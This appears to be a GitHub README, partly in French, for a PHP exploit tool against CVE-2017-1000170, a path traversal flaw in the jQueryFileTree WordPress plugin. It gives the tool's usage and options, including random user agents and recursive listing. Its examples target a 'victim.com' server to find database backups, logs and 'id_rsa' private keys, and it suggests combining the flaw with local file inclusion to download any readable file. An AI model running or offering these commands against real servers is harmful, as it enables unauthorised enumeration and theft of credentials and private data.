nickguitar/jquery-file-tree-1.6.6-path-traversalJquery File Tree 1.6.6 Path Traversal exploit (CVE-2017-1000170)
Exploit de traversée de chemin Jquery File Tree 1.6.6 (CVE-2017-1000170)
Le plugin jQueryFileTree <1.6.6 pour Wordpress, avec ses paramètres par défaut, ne parvient pas à analyser les données utilisateur, ce qui entraîne une vulnérabilité de traversée de chemin.
Cela permet à un attaquant de lister tous les noms de fichiers de tous les dossiers lisibles du serveur web.
Ajouté à une attaque d'inclusion de fichier local ou de divulgation de fichier local, cela peut permettre de télécharger arbitrairement tout fichier lisible du serveur.
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
Légende :
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
(You must provide the dot to indicate it's an extension)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> This will search for all files named "id_rsa" or having the extension
".log" within all folders of the server, with random user-agents
Tip: use "php ..... | tee output" to save the result to an output file
